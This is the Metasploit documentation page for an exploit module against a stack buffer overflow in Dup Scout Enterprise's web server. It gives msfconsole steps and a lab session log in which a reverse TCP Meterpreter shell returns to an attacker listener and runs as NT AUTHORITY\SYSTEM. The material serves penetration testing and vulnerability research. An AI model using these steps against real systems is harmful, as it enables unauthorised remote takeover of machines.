CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/windows/http/dupscts_bof.md
Views: 11789

Vulnerable Application

This module exploits a stack-based buffer overflow vulnerability in the web interface of Dup Scout Enterprise] versions <= 10.0.18, caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server which can be leveraged to execute arbitrary code in the context of NT AUTHORITY\SYSTEM.

This module supports x86 versions of Dup Scout Enterprise and x86 Windows operating systems only and has been tested successfully on Windows 7 SP1 (x86) and Windows XP SP0 (x86).

Verification Steps

Download:

Install the application from the link above and enable the web server by going to Tools -> Advanced Options -> Server -> Enable Web Server on Port.

Metasploit:

  1. Start msfconsole

  2. Do: use exploit/windows/http/dupscts_bof

  3. Do: set rhosts <rhosts>

  4. Do: run

  5. You should get a shell.

Options

Scenarios

Dup Scout Enterprise v9.9.14 on Windows 7 SP1 (x86)

msf6 > use exploit/windows/http/dupscts_bof
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/dupscts_bof) > set rhosts 172.16.191.213
rhosts => 172.16.191.213
msf6 exploit(windows/http/dupscts_bof) > check
[*] 172.16.191.213:80 - The target appears to be vulnerable. Dup Scout Enterprise version 9.9.14.
msf6 exploit(windows/http/dupscts_bof) > set lhost 172.16.191.192 
lhost => 172.16.191.192
msf6 exploit(windows/http/dupscts_bof) > run

[*] Started reverse TCP handler on 172.16.191.192:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Dup Scout Enterprise version 9.9.14.
[*] Selecting a target...
[*] Using target: Dup Scout Enterprise v9.9.14 (x86)
[*] Sending payload (8577 bytes) ...
[*] Sending stage (175174 bytes) to 172.16.191.213
[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.213:49380) at 2021-02-25 11:29:52 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-7-ULTIMATE-
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >